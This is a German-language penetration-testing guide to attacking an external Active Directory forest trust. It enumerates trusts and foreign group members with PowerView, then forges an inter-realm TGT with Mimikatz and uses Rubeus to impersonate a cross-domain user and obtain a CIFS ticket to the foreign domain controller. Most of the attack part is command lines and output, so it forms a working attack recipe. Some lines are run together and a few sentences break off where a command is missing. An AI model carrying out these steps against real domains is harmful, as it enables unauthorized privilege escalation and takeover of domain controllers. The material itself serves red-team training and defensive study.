In diesem Szenario vertraut dir eine externe Domäne (oder beide vertrauen sich gegenseitig), sodass du eine Art Zugriff darauf erhalten kannst.
Aufzählung
Zuerst musst du die Vertrauensstellungaufzählen:
Get-DomainTrustSourceName : a.domain.local --> Current domainTargetName : domain.external --> Destination domainTrustType : WINDOWS-ACTIVE_DIRECTORYTrustAttributes :TrustDirection : Inbound --> Inboud trustWhenCreated : 2/19/202110:50:56 PMWhenChanged : 2/19/202110:50:56 PM# Get name of DC of the other domainGet-DomainComputer-Domain domain.external -Properties DNSHostNamednshostname-----------dc.domain.external# Groups that contain users outside of its domain and return its membersGet-DomainForeignGroupMember-Domain domain.externalGroupDomain : domain.externalGroupName : AdministratorsGroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=externalMemberDomain : domain.externalMemberName : S-1-5-21-3263068140-2042698922-2891547269-1133MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,DC=external# Get name of the principal in the current domain member of the cross-domain groupConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133DEV\External Admins# Get members of the cros-domain groupGet-DomainGroupMember-Identity "External Admins"| select MemberNameMemberName----------crossuser# Lets list groups members## Check how the "External Admins" is part of the Administrators group in that DCGet-NetLocalGroupMember-ComputerName dc.domain.externalComputerName : dc.domain.externalGroupName : AdministratorsMemberName : SUB\External AdminsSID : S-1-5-21-3263068140-2042698922-2891547269-1133IsGroup : TrueIsDomain : True# You may also enumerate where foreign groups and/or users have been assigned# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
In der vorherigen Enumeration wurde festgestellt, dass der Benutzer crossuser in der Gruppe External Admins ist, die Admin-Zugriff im DC der externen Domäne hat.
Initialer Zugriff
Wenn Sie keinenbesonderen Zugriff Ihres Benutzers in der anderen Domäne finden konnten, können Sie immer noch zur AD-Methodologie zurückkehren und versuchen, privesc von einem unprivilegierten Benutzer durchzuführen (Dinge wie Kerberoasting zum Beispiel):
Sie können Powerview-Funktionen verwenden, um die andere Domäne mit dem -Domain-Parameter zu enumerieren, wie in:
Mit einer regulären Methode unter Verwendung der Anmeldeinformationen der Benutzer, die Zugriff auf die externe Domäne haben, sollten Sie in der Lage sein, auf Folgendes zuzugreifen:
Sie könnten auch SID-Historie über ein Forest-Vertrauen missbrauchen.
Wenn ein Benutzer von einem Forest zu einem anderen migriert wird und SID-Filterung nicht aktiviert ist, wird es möglich, eine SID aus dem anderen Forest hinzuzufügen, und diese SID wird dem Token des Benutzers beim Authentifizieren über das Vertrauen hinzugefügt.
Zur Erinnerung, Sie können den Signaturschlüssel mit
Sie könnten mit dem vertrauenswürdigen Schlüssel ein TGT, das den Benutzer der aktuellen Domäne nachahmt, signieren.
# Get a TGT for the cross-domain privileged user to the other domainInvoke-Mimikatz-Command'"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators groupRubeus.exeasktgs/service:cifs/dc.doamin.external/domain:dc.domain.external/dc:dc.domain.external/ticket:C:\path\save\ticket.kirbi/nowrap# Now you have a TGS to access the CIFS service of the domain controller
Vollständige Möglichkeit, den Benutzer zu impersonieren
# Get a TGT of the user with cross-domain permissionsRubeus.exeasktgt/user:crossuser/domain:sub.domain.local/aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80/opsec/nowrap# Get a TGT from the current domain for the target domain for the userRubeus.exeasktgs/service:krbtgt/domain.external/domain:sub.domain.local/dc:dc.sub.domain.local/ticket:doIFdD[...snip...]MuSU8=/nowrap# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators groupRubeus.exeasktgs/service:cifs/dc.doamin.external/domain:dc.domain.external/dc:dc.domain.external/ticket:doIFMT[...snip...]5BTA==/nowrap# Now you have a TGS to access the CIFS service of the domain controller